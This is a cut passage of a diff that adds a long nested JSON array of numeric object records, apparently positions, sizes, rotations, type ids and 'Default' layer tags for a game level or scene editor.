+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1486,
+ 1167.4833984375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 669,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1578,
+ 1167.4833984375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 670,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1670,
+ 1167.4833984375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 671,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1843,
+ 830,
+ 0,
+ 249.9819946289063,
+ 249.9819946289063,
+ 0,
+ 0,
+ 1,
+ 0.5018181800842285,
+ 0.5018181800842285,
+ 0,
+ 0,
+ []
+ ],
+ 406,
+ 672,
+ [],
+ [
+ [
+ 50,
+ 0
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2063,
+ 829,
+ 0,
+ 249.9819946289063,
+ 249.9819946289063,
+ 0,
+ 0.3600357472896576,
+ 1,
+ 0.5018181800842285,
+ 0.5018181800842285,
+ 0,
+ 0,
+ []
+ ],
+ 406,
+ 676,
+ [],
+ [
+ [
+ 50,
+ 0
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2345,
+ 625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 682,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2345,
+ 721,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 683,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2345,
+ 815,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 684,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2345,
+ 909,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 685,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2437,
+ 625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 686,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2437,
+ 721,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 687,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2437,
+ 815,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 688,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2437,
+ 909,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 689,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2345,
+ 1003,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 690,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2437,
+ 1003,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 691,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2261,
+ 713,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 692,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2529,
+ 625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 693,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2529,
+ 721,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 694,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2529,
+ 815,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 695,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2529,
+ 909,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 696,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2621,
+ 625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 697,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2621,
+ 721,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 698,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2621,
+ 815,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 699,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2621,
+ 909,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 700,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2529,
+ 1003,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 701,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2621,
+ 1003,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 702,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2971.61767578125,
+ 779.587646484375,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.06981316953897476,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 706,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3095.61767578125,
+ 855.587646484375,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.06981316953897476,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 716,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3198,
+ 921,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 717,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3198,
+ 1017,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 718,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3198,
+ 1111,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 719,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3198,
+ 1205,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 720,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3290,
+ 921,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 721,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3290,
+ 1017,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 722,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3290,
+ 1111,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 727,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3290,
+ 1205,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 728,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3198,
+ 1299,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 729,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3290,
+ 1299,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 730,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3382,
+ 921,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 731,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3382,
+ 1017,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 732,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3382,
+ 1111,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 733,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3382,
+ 1205,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 734,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3474,
+ 921,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 735,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3474,
+ 1017,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 736,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3474,
+ 1111,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 738,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3474,
+ 1205,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 739,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3382,
+ 1299,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 745,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3474,
+ 1299,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 746,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3566.063232421875,
+ 1015.57421875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 785,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3566.063232421875,
+ 1111.57421875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 797,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3566.063232421875,
+ 1205.57421875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 798,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3566.063232421875,
+ 1299.57421875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 799,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3658.063232421875,
+ 1015.57421875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 808,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3658.063232421875,
+ 1111.57421875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 819,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3658.063232421875,
+ 1205.57421875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 820,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3658.063232421875,
+ 1299.57421875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 821,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3566.063232421875,
+ 1393.57421875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 822,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3658.063232421875,
+ 1393.57421875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 824,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3749.84033203125,
+ 1109.872680664063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 825,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3749.84033203125,
+ 1205.872680664063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 830,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3749.84033203125,
+ 1299.872680664063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 839,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3749.84033203125,
+ 1393.872680664063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 851,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3841.84033203125,
+ 1109.872680664063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 852,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3841.84033203125,
+ 1205.872680664063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 853,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3841.84033203125,
+ 1299.872680664063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 857,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3841.84033203125,
+ 1393.872680664063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 898,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3749.84033203125,
+ 1487.872680664063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1147,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3841.84033203125,
+ 1487.872680664063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1148,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3426.398193359375,
+ 823.4501342773438,
+ 0,
+ 126.465202331543,
+ 120.0129013061523,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 541,
+ 856,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 1,
+ 10,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 0
+ ],
+ [
+ 1
+ ],
+ [
+ 200,
+ 1500,
+ 1500,
+ 650,
+ 1500,
+ 1000,
+ 0,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3720.83251953125,
+ 702.407470703125,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1149,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3798.83251953125,
+ 702.407470703125,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4623,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3874.83251953125,
+ 702.407470703125,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4624,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3953.37646484375,
+ 702.8662109375,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4647,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3835.54443359375,
+ 700.08984375,
+ 0,
+ 79.45880126953125,
+ 310.69482421875,
+ 0,
+ 1.570796370506287,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 4648,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4815.85302734375,
+ 984.8414306640625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 601,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4815.85302734375,
+ 1080.841430664063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 602,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4815.85302734375,
+ 1174.841430664063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 711,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4815.85302734375,
+ 1268.841430664063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 712,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4907.85302734375,
+ 984.8414306640625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 713,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4907.85302734375,
+ 1080.841430664063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 714,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4907.85302734375,
+ 1174.841430664063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 715,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4907.85302734375,
+ 1268.841430664063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4774,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4815.85302734375,
+ 1362.841430664063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4775,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4907.85302734375,
+ 1362.841430664063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4776,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4999.85302734375,
+ 984.8414306640625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4777,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4999.85302734375,
+ 1080.841430664063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4778,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4999.85302734375,
+ 1174.841430664063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4779,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4999.85302734375,
+ 1268.841430664063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4780,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5091.85302734375,
+ 984.8414306640625,
+ 0,
+ 96,
+ 99,
